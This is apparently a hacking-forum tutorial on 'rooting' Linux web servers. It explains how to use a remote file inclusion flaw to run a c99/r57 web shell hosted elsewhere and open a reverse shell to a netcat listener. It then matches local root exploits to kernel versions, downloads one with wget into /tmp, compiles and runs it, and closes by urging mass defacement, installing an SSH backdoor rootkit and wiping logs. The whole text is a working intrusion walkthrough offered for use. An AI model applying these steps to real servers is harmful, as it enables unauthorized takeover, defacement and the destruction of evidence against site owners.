R.F.I. Rooting Tutorial

R.F.I. Rooting Tutorial (Linux Server and Safe Mod: OFF)

Since this is asked so much and all we see are defaces without r00t. Here's a Tut.



R.F.I. Rooting Tutorial (Linux Server and Safe Mod: OFF)
notice:
You will need:

- Vulnerable Site in R.F.I.
- Shell for R.F.I. (e.g. c99, r57 or other)
- NetCat
- Local Root Exploit (depending on the kernel and the version)

This aim tutorial is to give a very general picture in process of Rooting
in Linux Server with Safe Mod: OFF.

-
Suppose that we have found a site with R.F.I. vulnerability:
http://www.example.com/folder/index.html?page=

We can run shell exploiting Remote File Inclusion, as follows:
Code:

http://www.hackedsite.com/folder/ind...vilscript.txt?

where evilscript.txt is our web shell that we have already uploaded to
a free web hosting site.

Some sites you could use:
Welcome to Ripway.com - free file hosting, free music hosting, direct linking
0Catch.com - free and affordable hosting plans for business and personal web sites including CGI and FrontPage Support


After we enter our shell, we will see the version of the kernel at the top of the page or by typing:

uname - a

in Command line.


To continue we must connect with backconnection to the box.
This can done with two ways if we have the suitable shell.
We can use the Back-Connect module of r57/c99 shell or to upload a backconnector
in a writable folder.

In most of the shells there is a backconnection feature without to upload the
Connect Back Shell (or another one shell in perl/c).

We will analyze the first way which is inside the shell (in our example the shell is r57).

Initially we open NetCat and give to listen in a specific port.
(this port must be correctly opened/forwarded in NAT/Firewall if we have a router)


We will type: 11457 in the port input (This is the default port for the last versionsof r57 shell).
We can use and other port as well.

Setting up netcat to listen on backconnection port:
We press in Windows Start > Run > and we type: cmd
After we will go to the NetCat directory:
Code:

cd C:\Program Files\Netcat

And we type the following command:
Code:

nc -n -l -v -p 11457

The following will be the output if entered correctly:
Code:

NetCat respond: listening on [any] 11457 ...

In the central page of r57 shell we find under the following menu::: Net:: and back-connect.
In the IP Form we will type our IP
(www.cmyip.com to see our ip if we have dynamic)

In the Port form we will put the port that we opened and NetCat listens. 11475
If we press connect the shell will respond:
Code:
Now script try connect to (your ip here) on port 11457 ...
If our settings are correct NetCat will give us a shell to the server.

Now we will continue to the Rooting process.

We must find a writable folder in order to download and compile the Local
Root Exploit that will give us root privileges in the box.
Depending on the version of the Linux kernel there are different exploits.
Some times the exploits fail to run because some boxes are patched or we don't have the correct permissions.


List of the exploits/kernel:
Code:

2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00ly****
2.6.5 -> krad, krad2, h00ly****
2.6.6 -> krad, krad2, h00ly****
2.6.7 -> krad, krad2, h00ly****
2.6.8 -> krad, krad2, h00ly****
2.6.8-5 -> krad2, h00ly****
2.6.9 -> krad, krad2, h00ly****
2.6.9-34 -> r00t, h00ly****
2.6.10 -> krad, krad2, h00ly****
2.6.13 -> raptor, raptor2, h0lly****, prctl
2.6.14 -> raptor, raptor2, h0lly****, prctl
2.6.15 -> raptor, raptor2, h0lly****, prctl
2.6.16 -> raptor, raptor2, h0lly****, prctl

We will see the case of 2.6.8 Linux kernel.
We will need the h00ly**** exploit.
We can find writable folders/files by typing:
Code:

find / -perm -2 -ls

We can use the /tmp folder which is a standard writable folder
We type:
Code:

cd /tmp

To download the local root exploit we can use a download command for linux like
wget.

For example:
Code:

wget http://www.Example/localroot/h00ly****.c
where http://www.Example.com/localroot/h00ly****.c is the url of h00ly****.

After the download we must compile the exploit.
(Read the instruction of the exploit before the compile)

For the h00ly**** we must type:
Code:

gcc h00ly****.c -o h00ly****

Now we have created the executable file: h00ly****.
The command to run this exploit is:
Code:

./h00ly**** <very big file on the disk>

We need a very big file on the disk in order to run successfully and to get root.
We must create a big file in /tmp or into another writable folder.
The command is:

dd if=/dev/urandom of=largefile count=2M

where largefile is the filename.


We must wait 2-3 minutes for the file creation
If this command fails we can try:

Code:

dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024

Now we can proceed to the last step. We can run the exploit by typing:

Code:

./h00ly**** largefile or
./h00ly**** /tmp/largefile

(If we are in a different writable folder and the largefile is created in /tmp)

If there are not running errors (maybe the kernel is patched or is something wrong with
exploit run or large file) we will get root

To check if we got root:

id or
whoami

If it says root we got root!
Now we can deface/mass deface all the sites of the server or to setup a rootkit
(e.g. SSHDoor) and to take ssh/telnet shell access to the server.

We must erase all logs in order to be safe with a log cleaner. A good cleaner for this
job is the MIG Log Cleaner.
good luck!